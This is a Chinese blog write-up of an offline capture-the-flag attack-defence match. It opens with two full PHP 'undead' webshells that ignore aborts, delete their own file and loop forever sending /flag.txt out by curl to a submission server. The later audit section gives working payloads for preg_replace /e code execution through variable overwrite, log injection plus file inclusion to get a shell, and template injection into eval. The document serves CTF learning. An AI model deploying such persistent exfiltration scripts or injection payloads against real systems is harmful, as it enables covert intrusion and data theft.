昨天打了一场简单的线下赛,这里面来总结一下吧(虽然已经不打CTF了),但是总结一下还是好的,不然不是浪费了吗~
后门
后门很明显,根目录下就有个Webshell,于是原本我想把我的不死马都整上去的,但是粘贴错了脚本,导致大家都不能通过这个漏洞拿Shell了
这里面粘贴一下我的脚本吧,我的思路是利用PHP不死马一直循环的提交Flag
GET版
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$flag=trim(file_get_contents("/flag.txt"));
while (1){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://192.168.10.209:12345/flag=$flag"."&team=xxx");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_HEADER,0);
//curl_setopt($ch, CURLOPT_COOKIE, "a=b;c=d;"); //若比赛提交平台需要Cookie验证,那么这里面填写Cookie
$data=curl_exec($ch);
curl_close($ch);
usleep(5000);
}
?>
POST版
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$flag=trim(file_get_contents("/flag.txt"));
$postdata=['flag'=>$flag,'token'=>'6902687edf7fa80889bc56080687a290'];
while (1){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://192.168.1.200:9090/");
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
//curl_setopt($ch, CURLOPT_COOKIE, "a=b;c=d;"); //若比赛提交平台需要Cookie验证,那么这里面填写Cookie
curl_setopt($ch,CURLOPT_HEADER,0);
$data=curl_exec($ch);
curl_close($ch);
usleep(5000);
}
?>
当然要是比赛提交平台验证了 token 的话当我没说,可惜了当时粘贴错了脚本,不过后来也审计了一个漏洞,还算可以把
代码审计
preg_replace代码执行
这里面我们表面上 $method $mail_replacement $ip_replacement $source
都不可控,但是我们可以利用上面的 $$
进行变量覆盖
我们看看 $post_data
在哪里
action.php
有对应的变量
因此我们可以利用变量覆盖漏洞进行命令执行
Payload
GET
/action
POST
page=normaliz&method=/test/e&mail_replacement=phpinfo()&source=Just test
任意文件写入
在 common.php
中,存在 write_log 函数
将 $input
的值写入到 $cfg_logfile
文件中
$cfg_logfile
的值已经被固定了
看一下哪边调用了这个函数
先查看 normaliz.php
文件
是将错误信息写入到文件中,不适合我们写Webshell
我们看一下另一个文件
传入文件路径若不存在,就向那个文件中写入 Try to open Null file:
+文件名
文件名我们可以用PHP的一句话木马测试,所以这里面我们看一下哪里调用了这个函数
在 view.php
的类中一个函数调用了这个方法
很多都调用了,我们拿最简单的 index.php
举例
因此我们可以向 index.php
传入一个不存在的文件名就行了
Paylaod
/index.php?page=%0a<?php phpinfo();?>/*
%0a是为了换行, /* 是注释掉后面的多余内容
当然因为有 .htacess
的限制,我们需要换个思路
这里面可以利用文件包含Getshell
action.php中可以包含这个文件
虽然过滤了 .
但是可以用绝对路径包含
Payload
/index.php?page=%0a<?php phpinfo();?>/*
%0a是为了换行, /* 是注释掉后面的多余内容
/action.php
POST
page=/var/www/html/logs/logfile
eval代码执行
这个比较隐晦,当时看见了,但是代码有点复杂没有深入分析
首先看 md5.php
先获取 view/md5.php
的内容
是一堆挺复杂的html
看下一个函数 parseHeadAndFoot
将页面footer和header替换为模板目录下的模板
下一个函数 parseVal
根据 data
数组中的键值替换为 值
s
例如将 {?=res?}
替换为 {?=xx?}
对应为 $data['res']=xx
而且这个 res 我们是可控的
继续看下一个 parseIf
这一部分获取的是
后面也有几个正则提取,最后获取到 $strIf
然后放入eval中
中间有点复杂我们动态调试一下
果然将 res 的值替换成 我们传入的值了
经过第一次正则后我们被转换成了
其中我们插入的 Mikasa
也在其中
继续跟进
这里面就很明显了,是获取循环获取 $iar
数组的值
最后放入 eval中执行
那么我们可控的值也会被放进去
最后造成代码执行
Payload
/action.php
POST
page=md5&res="or phpinfo() or "
当然不仅仅是 md5.php
可以触发,在其他的地方同样是可以触发的(例如normaliz同样是可以的,不过是利用方式不同)
总结
学习了一下代码审计的技巧,是一次很有意义的比赛,Have Fun